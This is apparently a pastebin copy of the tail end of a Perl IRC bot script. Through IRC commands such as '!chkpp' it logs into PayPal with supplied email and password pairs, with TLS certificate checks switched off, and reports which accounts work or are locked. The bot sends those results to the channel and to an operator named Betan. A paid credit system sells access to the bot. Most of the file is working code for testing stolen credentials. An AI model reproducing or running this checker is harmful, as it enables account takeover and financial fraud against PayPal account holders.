- }
- }
- ####################################################################################
- ####################################################################################
- if($msg{'what'} =~ /\!out(.*)/)
- {
- my $qmsg = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("quit ".$qmsg."\r\n");
- }
- }
- ######################################################################################
- if($msg{'what'} =~ /\!rax (.*)/)
- {
- my $raw = $1;
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IRC RAW REQUESTED");
- $irc_socket->write($raw."\r\n");
- }
- }
- #############################@@@@======ADDED payPaL Chk!=====@@@@######################
- if($msg{'what'} =~ /^!chkpp\s+(.*) (.*)/)
- {
- my ($chkpp,$pppass) = ($1,$2);
- chop($pppass);
- &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-15 ${chkpp}:$pppass 0,1-\r\n");
- my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
- my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
- $agent->env_proxy();
- $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(3);
- { local $^W; $agent->current_form->value('login_email', ''.$chkpp.''); };
- { local $^W; $agent->current_form->value('login_password', ''.$pppass.''); };
- $agent->submit();
- my $internal=$agent->content;
- if ($internal =~/Please make sure you enter your/){
- &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
- $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
- }
- elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
- &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
- $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
- }
- }
- #############################CONTACT ME : [email protected]###########################
- #######################################################################################
- if($msg{'what'} =~ /^$ppcmd (.*)/)
- {
- my ($ppchek) = ($1);
- chop($ppchek);
- &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-15 ${ppchek} 0,1-\r\n");
- my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
- my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
- $agent->env_proxy();
- $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(3);
- { local $^W; $agent->current_form->value('login_email', '[email protected]'); };
- { local $^W; $agent->current_form->value('login_password', 'a1b2c3d4e5!)(*)!@#'); };
- $agent->submit();
- my $internal=$agent->content;
- if ($internal =~/Please make sure you enter your/){
- &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
- $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
- }
- elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
- &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
- $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
- }
- else {
- print "Logging you in securely \r\n";
- $agent->follow_link( url_regex => qr/login_access/i );
- $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
- my $resp=$agent->content;
- if ($resp =~/is PayPal Verified/){
- &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-14 Result15 ${ppchek} 0is 9VERIFIED! 0,1-\r\n");
- }
- elsif ($resp =~/is NOT PayPal Verified/){
- &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-14 Result15 ${ppchek} 0is 4UNVERIFIED! 0,1-\r\n");
- }
- elsif ($resp =~/Your access to view member information is currently limited/){
- &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 04 check account access limit !\r\n");
- print "Your access to view member information is currently limited. Please try back at another time.\r\n";
- }
- }
- }
- } #enf if($bof
- } #end of while
- ######################################################################################
- # sub ctrl_premium()
- # # {
- # my $data = $_[0];
- # my $who = $msg{'from'};
- # my $who = $msg{'from'};
- # foreach my $premium ( @premium )
- # {
- # if($premium eq $data->{'from'})
- # {
- # return(0);
- # }
- # }
- # my $who = $msg{'from'};
- # # my $who = $msg{'from'};
- # $irc_socket->write("NOTICE $who <Premium> You are not a premium member. Contact <rcoder>\r\n");
- # &respond_to_privmsg($data," $who Sorry. Get Premium User only 1\$ for 30 credits - /MSG rcoder");
- # return(-1);
- # }
- # # }
- ######################################################################################
- sub chkcredit()
- {
- my $creditfile = "credit.txt";
- my $nick = $_[0];
- my $open = open(CR,"<",$creditfile);
- if(!$open){
- #$irc_socket->write("privmsg $channel :Can't Open Credit Database\r\n");
- goto stop;
- return(3);
- }else{
- my @lines = <CR>;
- foreach $line (@lines){
- if($line =~ m/$nick/){
- return(2);
- } # End if $line
- } # Endforeach
- } # End else
- return(1);
- stop:
- AddLog($creditfile,"");
- }
- sub addcredit(){
- my $nick = $_[0];
- my $credit = $_[1];
- &DelLine($creditfile,$nick);
- my $data = $nick."|".$credit;
- open(FILE,'>>',$creditfile);
- print FILE $data . "\n";
- close(FILE);
- }
- sub AddLog()
- {
- my($file,$data) = @_;
- open(FILE,'>>',$file);
- print FILE $data . "\n";
- close(FILE);
- }
- ######################################################################################
- sub ctrl_admin()
- {
- my $data = $_[0];
- foreach my $admin ( @adminnya)
- {
- if($admin eq $data->{'from'})
- {
- return(0);
- }
- }
- &respond_to_privmsg($data,"4Only Premium can use this command!");
- return(-1);
- }
- ######################################################################################
- sub ctrl_dumps()
- {
- my $data = $_[0];
- foreach my $admin ( @s4l1ty )
- {
- if($admin eq $data->{'from'})
- {
- return(0);
- }
- }
- &respond_to_privmsg($data,"15,01[4BLOCK15,01]0 You are 04NOT0,01 Allowed to use this function.!");
- return(-1);
- }
- ######################################################################################
- sub respond_to_privmsg()
- {
- my ($data,$m) = ($_[0],$_[1]);
- if($data->{'to'} =~ /#/)
- {
- &privmsg($data->{'to'},$m);
- }
- return(0);
- }
- ######################################################################################
- sub privmsg()
- {
- my($nick,$send) = @_;
- $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
- }
- ######################################################################################
- sub get_msg()
- {
- my $line = $_[0];
- my %data;
- if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
- {
- $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
- $data{'from'} = $1;
- $data{'to'} = $3;
- $data{'what'} = $4;
- }
- return(%data);
- }
- ######################################################################################
- sub http_request()
- {
- my($site,$request,$ua,$resp,$cnt);
- $site = $_[0];
- $site =~ s/[\r\n]//g;
- $request = HTTP::Request->new(GET => $site);
- $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
- $ua->timeout($timeout);
- $resp = $ua->request($request);
- $cnt = $resp->content();
- return($cnt);
- }
- ######################################################################################
- sub get_user_agents()
- {
- my @us_ag = (
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
- "Opera/8.5 (X11; Linux i686; U; cs)",
- "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
- );
- return(@us_ag);
- }
- ######################################################################################
- sub get_all_host()
- {
- my $site = $_[0];
- my @dirs = ();
- my @ret = ();
- my $tmp = "";
- $site =~ s/http:\/\///g;
- $site =~ s/[\r\n]//g;
- $site =~ s/\/\///g;
- if($site !~ /\/$/)
- {
- $site .= "/";
- }
- @dirs = split(/\//,$site);
- $tmp = $dirs[0] . "/";
- push(@ret,$tmp);
- for($i = 1; $i < scalar(@dirs); $i++)
- {
- $tmp .= $dirs[$i] . "/";
- push(@ret,$tmp);
- }
- return(@ret);
- }
- ######################################################################################
- sub urlencode()
- {
- my $str = $_[0];
- $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
- return $str;
- }
- ######################################################################################
- sub unique()
- {
- my @unici = ();
- my %visti = ();
- foreach my $elemento (@_) {
- $elemento =~ s/\/+/\//g;
- next if $visti{$elemento}++;
- push @unici, $elemento;
- }
- return @unici;
- }
- ######################################################################################
- sub changecmd()
- {
- my $n = $_[0];
- push(@botcmd,$n);
- }
- ######################################################################################
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(10);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- ######################################################################################
- sub read_all_file_array()
- {
- my $file = $_[0];
- my @ret = ();
- open(FILE,'<',$file);
- while($a = <FILE>)
- {
- $a =~ s/[\r\n]//g;
- push(@ret,$a);
- }
- close(FILE);
- return(@ret);
- }
- ######################################################################################
- sub write_to_file_array()
- {
- my ($file,$data,$scal) = @_;
- for($i = 0; $i < $scal; $i++)
- {
- &AddLog($file,$data->[$i]);
- }
- }
- ######################################################################################
Advertisement
Add Comment
Please, Sign In to add comment